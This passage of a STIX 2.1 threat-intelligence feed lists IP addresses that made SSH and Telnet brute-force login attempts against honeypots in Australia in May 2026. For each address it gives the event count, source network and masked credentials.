      "modified": "2026-05-25T03:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '168.144.95.137']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-25T03:15:11.000Z",
      "valid_until": "2026-06-26T03:15:08.000Z"
    },
    {
      "created": "2026-05-25T03:15:11.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: CN. ASN(s): 4134. Organisation(s): Chinanet.",
      "id": "indicator--8eca6070-322e-42ad-b922-bd87b540c35f",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-25T03:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '175.11.240.230']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-25T03:15:11.000Z",
      "valid_until": "2026-06-26T03:15:08.000Z"
    },
    {
      "created": "2026-05-25T03:15:11.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 6. Sensors involved: Cowrie. Target ports: 23. Source country: BR. ASN(s): 26599. Organisation(s): TELEFONICA BRASIL S.A.",
      "id": "indicator--2dd67401-0534-46a5-ac56-391be32b4a56",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-25T03:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '177.24.22.34']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-25T03:15:11.000Z",
      "valid_until": "2026-06-26T03:15:08.000Z"
    },
    {
      "created": "2026-05-25T03:15:11.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 162. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: US. ASN(s): 398101. Organisation(s): GoDaddy.com, LLC. Usernames observed (masked): r**t, 3**********4, b***u, c***d, g***********r. Passwords observed (masked): 3***********4, 3**********4, 1****6, 1******8, 1***5.",
      "id": "indicator--61d6c63e-7d63-483c-b983-256073faff4a",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-25T03:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '184.168.21.211']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-25T03:15:11.000Z",
      "valid_until": "2026-06-26T03:15:08.000Z"
    },
    {
      "created": "2026-05-25T03:15:11.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 6. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: DE. ASN(s): 212552. Organisation(s): BitCommand LLC. Usernames observed (masked): ***. Passwords observed (masked): t*****5.",
      "id": "indicator--2b1af3fa-9983-4ed5-bb63-3554f705421f",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-25T03:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '185.221.237.10']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-25T03:15:11.000Z",
      "valid_until": "2026-06-26T03:15:08.000Z"
    },
    {
      "created": "2026-05-25T03:15:11.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 50. Sensors involved: Cowrie. Target ports: 23. Source country: PL. ASN(s): 60645. Organisation(s): AS Consulting Sp. z o. o..",
      "id": "indicator--c8fabf72-8657-4458-be5b-ff13c6e85731",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-25T03:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '185.32.4.148']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-25T03:15:11.000Z",
      "valid_until": "2026-06-26T03:15:08.000Z"
    },
    {
      "created": "2026-05-25T03:15:11.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 6. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: US. ASN(s): 36352. Organisation(s): HostPapa. Usernames observed (masked): c***d. Passwords observed (masked): W*********7.",
      "id": "indicator--1ae3be8b-4d79-4c9b-97c9-677386dcede8",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-25T03:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '192.3.226.118']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-25T03:15:11.000Z",
      "valid_until": "2026-06-26T03:15:08.000Z"
    },
    {
      "created": "2026-05-25T03:15:11.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 5. Sensors involved: Cowrie. Target ports: 22. Source country: CN. ASN(s): 4837. Organisation(s): CHINA UNICOM China169 Backbone. Usernames observed (masked): u***m. Passwords observed (masked): 1*********t.",
      "id": "indicator--cd49a4f7-df0a-47a9-be86-811b287f340b",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-25T03:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '220.250.52.89']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-25T03:15:11.000Z",
      "valid_until": "2026-06-26T03:15:08.000Z"
    },
    {
      "created": "2026-05-25T03:15:11.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 3. Sensors involved: Cowrie. Target ports: 22. Source country: CN. ASN(s): 56045. Organisation(s): China Mobile communications corporation.",
      "id": "indicator--c68bd58b-5968-4698-bb96-2e817d00eeb8",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-25T03:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '223.83.114.88']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-25T03:15:11.000Z",
      "valid_until": "2026-06-26T03:15:08.000Z"
    },
    {
      "created": "2026-05-25T03:15:11.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 7. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: SG. ASN(s): 135377. Organisation(s): UCLOUD INFORMATION TECHNOLOGY HK LIMITED.",
      "id": "indicator--278d8cca-c6c4-4771-ac8e-ee050e618953",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-25T03:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '36.255.223.98']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-25T03:15:11.000Z",
      "valid_until": "2026-06-26T03:15:08.000Z"
    },
    {
      "created": "2026-05-25T03:15:11.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 26. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: SG. ASN(s): 132203. Organisation(s): Tencent Building, Kejizhongyi Avenue. Usernames observed (masked): r**t, 3**********4. Passwords observed (masked): 3***********4, 3**********4, f********************@.",
      "id": "indicator--e8de738b-b01e-4946-9702-3e4ebae11829",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-25T03:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '43.159.47.71']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-25T03:15:11.000Z",
      "valid_until": "2026-06-26T03:15:08.000Z"
    },
    {
      "created": "2026-05-25T04:15:11.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 7. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: BE. ASN(s): 396982. Organisation(s): Google LLC.",
      "id": "indicator--4c26cce4-acdc-46e8-be09-6ba6844f71db",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-25T04:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '104.199.25.101']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-25T04:15:11.000Z",
      "valid_until": "2026-06-26T04:15:08.000Z"
    },
    {
      "created": "2026-05-25T04:15:11.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: VN. ASN(s): 18403. Organisation(s): FPT Telecom Company.",
      "id": "indicator--ac038e2e-efca-45cd-83af-e8c0482dabda",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-25T04:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '113.22.72.159']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-25T04:15:11.000Z",
      "valid_until": "2026-06-26T04:15:08.000Z"
    },
    {
      "created": "2026-05-25T04:15:11.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 12. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: SG. ASN(s): 26496. Organisation(s): GoDaddy.com, LLC. Usernames observed (masked): c***d, r**t. Passwords observed (masked): T******4, W*********7.",
      "id": "indicator--8dd4105b-063b-4ab9-92cf-abd1b72081a5",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-25T04:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '118.139.164.171']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-25T04:15:11.000Z",
      "valid_until": "2026-06-26T04:15:08.000Z"
    },
    {
      "created": "2026-05-25T04:15:11.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: CN. ASN(s): 4837. Organisation(s): CHINA UNICOM China169 Backbone.",
      "id": "indicator--4f2a648a-45ab-47fc-bd2e-9fc660fb1148",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-25T04:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '123.144.45.223']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-25T04:15:11.000Z",
      "valid_until": "2026-06-26T04:15:08.000Z"
    },
    {
      "created": "2026-05-25T04:15:11.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: CN. ASN(s): 4134. Organisation(s): Chinanet.",
      "id": "indicator--6ddde3f9-0646-40ce-8c56-eeeb55902223",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-25T04:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '123.179.175.44']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-25T04:15:11.000Z",
      "valid_until": "2026-06-26T04:15:08.000Z"
    },
    {
      "created": "2026-05-25T04:15:11.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: UY. ASN(s): 6057. Organisation(s): Administracion Nacional de Telecomunicaciones.",
      "id": "indicator--49ade40a-b1f4-438c-add5-3ab5aab1cdd3",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-25T04:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '167.58.183.140']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-25T04:15:11.000Z",
      "valid_until": "2026-06-26T04:15:08.000Z"
    },
    {
      "created": "2026-05-25T04:15:11.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 6. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: US. ASN(s): 8075. Organisation(s): Microsoft Corporation. Usernames observed (masked): r**t. Passwords observed (masked): A******4.",
      "id": "indicator--5d51cea9-4218-480a-8a41-4e2cbdf6c78e",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-25T04:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '172.172.186.3']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-25T04:15:11.000Z",
      "valid_until": "2026-06-26T04:15:08.000Z"
    },
    {
      "created": "2026-05-25T04:15:11.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 5. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: US. ASN(s): 396982. Organisation(s): Google LLC.",
      "id": "indicator--1e7ebe6f-34a4-46b9-b43f-8915209097e8",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-25T04:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '205.210.31.14']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-25T04:15:11.000Z",
      "valid_until": "2026-06-26T04:15:08.000Z"
    },
    {
      "created": "2026-05-25T04:15:11.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 4. Sensors involved: Cowrie. Target ports: 22. Source country: CN. ASN(s): 134756. Organisation(s): CHINANET Nanjing Jishan IDC network.",
      "id": "indicator--15a4c541-565b-46c5-a7bf-f9d915091059",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-25T04:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '220.154.131.138']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-25T04:15:11.000Z",
      "valid_until": "2026-06-26T04:15:08.000Z"
    },
    {
      "created": "2026-05-25T04:15:11.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 6. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: IN. ASN(s): 24560. Organisation(s): Bharti Airtel Ltd., Telemedia Services. Usernames observed (masked): r**t. Passwords observed (masked): f********************@.",
      "id": "indicator--8a33651e-0c69-45ed-b832-865e466b04ec",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-25T04:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '223.230.3.39']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-25T04:15:11.000Z",
      "valid_until": "2026-06-26T04:15:08.000Z"
    },
    {
      "created": "2026-05-25T04:15:11.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 12. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: BE. ASN(s): 396982. Organisation(s): Google LLC. Usernames observed (masked): a***n. Passwords observed (masked): a***n, p******d.",
      "id": "indicator--230ddce6-e297-4f75-94e1-5bcc938b5ec0",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-25T04:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '34.79.244.186']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-25T04:15:11.000Z",
      "valid_until": "2026-06-26T04:15:08.000Z"
    },
    {
      "created": "2026-05-25T04:15:11.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 50. Sensors involved: Cowrie. Target ports: 23. Source country: PK. ASN(s): 9541. Organisation(s): Cyber Internet Services Pvt Ltd..",
      "id": "indicator--a8239f89-97b8-4f31-85f6-951c461432a2",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-25T04:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '72.255.26.36']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-25T04:15:11.000Z",
      "valid_until": "2026-06-26T04:15:08.000Z"
    },
    {
      "created": "2026-05-25T04:15:11.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: US. ASN(s): 701. Organisation(s): Verizon Business.",
      "id": "indicator--73cbc377-ba7d-4c82-a9db-ffaff8513b6d",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-25T04:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '72.68.145.82']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-25T04:15:11.000Z",
      "valid_until": "2026-06-26T04:15:08.000Z"
    },
    {
      "created": "2026-05-25T05:15:11.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 75. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: US. ASN(s): 8075. Organisation(s): Microsoft Corporation. Usernames observed (masked): 3**********4, g***t, u**r. Passwords observed (masked): 1****6, 1******8, 3**********4.",
      "id": "indicator--96fa42ec-452c-408e-afe0-60576622e7a6",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-25T05:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '172.191.178.196']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-25T05:15:11.000Z",
      "valid_until": "2026-06-26T05:15:08.000Z"
    },
    {
      "created": "2026-05-25T05:15:11.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 100. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: ES. ASN(s): 12334. Organisation(s): R Cable y Telecable Telecomunicaciones, S.A.U.. Usernames observed (masked): r**t, 3**********4. Passwords observed (masked): 3***********4, 3**********4, Q*******1, Q**********#, f******************@.",
      "id": "indicator--02309e59-116c-46fb-a619-79c4dee9993f",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-25T05:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '212.51.34.150']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-25T05:15:11.000Z",
      "valid_until": "2026-06-26T05:15:08.000Z"
    },
    {
      "created": "2026-05-25T05:15:11.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 6. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: GB. ASN(s): 396982. Organisation(s): Google LLC. Usernames observed (masked): r**t. Passwords observed (masked): **@123456..",
      "id": "indicator--e65eaf36-50a9-4109-b105-9c5732b5e4ee",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-25T05:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '34.142.110.144']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-25T05:15:11.000Z",
      "valid_until": "2026-06-26T05:15:08.000Z"
    },
    {
      "created": "2026-05-25T05:15:11.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 4. Sensors involved: Cowrie. Target ports: 23. Source country: US. ASN(s): 7341. Organisation(s): Velocity Network, Inc..",
      "id": "indicator--1c8059eb-375a-4208-b1e0-ea02fb2a4b53",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-25T05:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '38.148.158.51']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-25T05:15:11.000Z",
      "valid_until": "2026-06-26T05:15:08.000Z"
    },
    {
      "created": "2026-05-25T05:15:11.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 89. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: US. ASN(s): 8075. Organisation(s): Microsoft Corporation. Usernames observed (masked): r**t, u***2, 3**********4. Passwords observed (masked): 3***********4, 3**********4, H********4, f******************@, u***2.",
      "id": "indicator--0c3c36bf-49bb-4614-8f09-d0347a0a7742",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-25T05:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '4.246.204.51']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-25T05:15:11.000Z",
      "valid_until": "2026-06-26T05:15:08.000Z"
    },
    {
      "created": "2026-05-25T05:15:11.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 124. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: ZM. ASN(s): 37532. Organisation(s): ZAMREN. Usernames observed (masked): r**t, 3**********4, a***n, c***d, j*****s. Passwords observed (masked): 1**4, 1********A, 3***********4, 3**********4, P******d.",
      "id": "indicator--2d53dfd1-4561-4983-af5d-424d705e2eb2",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-25T05:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '41.63.62.103']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-25T05:15:11.000Z",
      "valid_until": "2026-06-26T05:15:08.000Z"
    },
    {
      "created": "2026-05-25T05:15:11.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 194. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: IN. ASN(s): 9829. Organisation(s): National Internet Backbone. Usernames observed (masked): r**t, 3**********4, ***, t**y, w**k. Passwords observed (masked): 3***********4, 3**********4, 1********A, Q**********6, Q********!.",
      "id": "indicator--d2455a8b-c9b6-4a83-8983-a0cfb75029bc",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-25T05:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '59.90.69.78']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-25T05:15:11.000Z",
      "valid_until": "2026-06-26T05:15:08.000Z"
    },
    {
      "created": "2026-05-25T06:15:11.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 24. Sensors involved: Cowrie. Target ports: 23. Source country: VN. ASN(s): 151852. Organisation(s): FUTE JOINT STOCK COMPANY.",
      "id": "indicator--7c14e24c-c822-40a2-99fa-065bcae6c8f8",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-25T06:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '103.249.117.232']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-25T06:15:11.000Z",
      "valid_until": "2026-06-26T06:15:08.000Z"
    },
    {
      "created": "2026-05-25T06:15:11.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 3. Sensors involved: Cowrie. Target ports: 22. Source country: US. ASN(s): 14987. Organisation(s): Rethem Hosting LLC.",
      "id": "indicator--6f0ac8a4-a85e-4c8d-b35f-a6742b158dfd",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-25T06:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '104.152.52.215']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-25T06:15:11.000Z",
      "valid_until": "2026-06-26T06:15:08.000Z"
    },
    {
      "created": "2026-05-25T06:15:11.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 5. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: US. ASN(s): 14987. Organisation(s): Rethem Hosting LLC.",
      "id": "indicator--b6e09784-69b2-442b-87f7-ba60f5c17293",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-25T06:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '104.152.52.217']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-25T06:15:11.000Z",
      "valid_until": "2026-06-26T06:15:08.000Z"
    },
    {
      "created": "2026-05-25T06:15:11.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: IT. ASN(s): 5602. Organisation(s): Retelit Digital Services S.p.A..",
      "id": "indicator--f85fec34-6061-4bcd-a88e-aaac9af7bc69",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-25T06:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '109.168.78.91']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-25T06:15:11.000Z",
      "valid_until": "2026-06-26T06:15:08.000Z"
    },
    {
      "created": "2026-05-25T06:15:11.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: CN. ASN(s): 4134. Organisation(s): Chinanet.",
      "id": "indicator--da385fd8-24ba-4f08-95d7-761e6b9646ae",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-25T06:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '123.165.85.22']",
      "pattern_type": "stix",
